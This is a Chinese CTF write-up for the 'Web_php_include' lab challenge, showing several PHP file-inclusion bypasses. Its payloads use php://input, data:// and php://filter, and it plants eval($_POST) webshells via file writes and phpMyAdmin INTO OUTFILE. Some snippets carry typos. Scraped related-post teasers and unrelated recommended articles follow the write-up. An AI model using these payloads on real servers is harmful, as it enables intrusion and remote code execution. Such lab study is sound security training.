攻防世界(五)Web_php_include
攻防世界系列:Web_php_include
方法一:大小写绕过
strstr()函数对php我协议进行了过滤,但我们可以尝试大小写绕过

抓包POST传值让其执行我们输入的命令
?page=Php://input
<?php system('ls'); ?>

发现可疑文件,执行命令打开

方法二:data://协议绕过
原理相同,不让用php我们就用data哈哈
?page=data://text/plain,<?php system('ls'); ?>
Tips:
data协议的一般格式
?page=data://text/plain,xxxxxxx
(xxxxxx为要执行的命令)

?pgge=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>

方法三:写入木马
既然我们可以在服务器执行PHP代码,就可以写入一句话然后用蚁剑连接(这里以方法二为例,用data://协议也可以)
<?php fpouts(fopen('/tmp/webshell.php','w'),'<?php @eval($_POST[root]); ?>
Tips:
tmp是LINUX默认可写目录

方法四:phpmyadmin写入木马
前提:
--用户 root 密码 空格 登录(此时为root权限)
--secure_file_priv为空(SHOW VARIABLES LIKE "secure_file_priv"命令查看是否为空)
select '<?php @eval($_POST[root]); ?> into OUTFILE '/tmp/shell.php'

蚁剑连接


方法五:(仅仅是另一种查看文件的方式)
当我们知道flag的位置时,还可这样查看:
?page=Php://filter/convert.base64-encode/resource=fl4gisisish3r3.php


攻防世界(五)Web_php_include的更多相关文章
- 攻防世界之Web_php_include
题目: 解题思路: 直接给出源码,由代码可知此题应该为文件包含,而且应该利用php伪协议 strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回FALSE 可 ...
- 攻防世界-Web_php_include (四种解法)
攻防世界-Web_php_include (考察的是文件包含) 打开页面是这样一段代码从代码中得知page中带有php://的都会被替换成空 str_replace()以其他字符替换字符串中的一些 ...
- 攻防世界web新手区做题记录
学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界 WriteUp
附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- 攻防世界-MISC:wireshark-1
这是攻防世界高手进阶区的第五题,题目如下: 点击下载附件一,得到一个压缩包,解压后得到一个流量包,用wireshark打开,分组字节流搜索字符串flag password的值即是flag,所以这道题的 ...
- 攻防世界-MISC:stegano
这是攻防世界新手练习区的第五题,题目如下: 点击附件1下载,得到一个pdf文件,打开后内容如下: 把pdf文件里的内容复制到记事本上,发现一串A和B的字符串,不知道是什么(真让人头大) 参考一下WP, ...
随机推荐
- resultMap结果集映射解决属性名和字段不一致问题
解决属性名和字段名不一致的问题 1.出现的问题 数据库中的字段 新建一个项目,拷贝之前的,测试实体类与数据库字段不一致的情况 public class User { private int id; ...
- .NET管道应用——工作池
名词解释 工作池:一组等待任务分配的线程.一旦完成了所分配的任务,这些线程可继续等待任务的分配. .NET管道:命名空间System.Threading.Channels中的Channel和Chann ...
- C++运算符重载的一些困惑
一.背景 在复习<C++基础与提高>时,自己实现运算符重载(i++)时,几次都报错.其实还是自己对运算符重载这一部分内容理解得不够透彻,于是再次看了下书上的内容,理解算是加深了一些,于是提 ...
- Day12_60_多线程的创建和启动(一)
多线程的创建和启动 * 在java语言中实现多线程的第一种方式, 继承 java.lang.Thread; 之后重写run()方法. * 使用多线程之后,主线程和其他线程是不在同一个栈中的,一个线程对 ...
- Java多线程详解——一篇文章搞懂Java多线程
目录 1. 基本概念 2. 线程的创建和启动 2.1. 多线程实现的原理 2.2.多线程的创建,方式一:继承于Thread类 2.3.多线程的创建,方式一:创建Thread匿名子类(也属于方法一) 2 ...
- 软件篇-05-融合ORB_SLAM2和IMU闭环控制SLAM底盘运动轨迹
前面我们已经得到了当前底盘在世界坐标系中的位姿,这个位姿是通过融合ORB_SLAM2位姿和IMU积分得到的,在当前位姿已知的case下,给SLAM小车设置一个goal,我这里是通过上位机设置,然后 ...
- SQL 查询的执行顺序
SELECT语句的完整语法如下 SELECT DISTINCT <select_list> FROM <left_table> <join_type> JOIN & ...
- 轮子:DateUtil.java
日期工具类 import java.text.SimpleDateFormat; import java.util.Date; public class DateUtil { public stati ...
- SQL优化-大数据量分页优化
百万数据量SQL,在进行分页查询时会出现性能问题,例如我们使用PageHelper时,由于分页查询时,PageHelper会拦截查询的语句会进行两个步骤 1.添加 select count(*)fro ...
- 让访问pc端的官网直接跳转到移动端的网站代码
<SCRIPT LANGUAGE="JavaScript"> function mobile_device_detect(url) { var thisOS=navig ...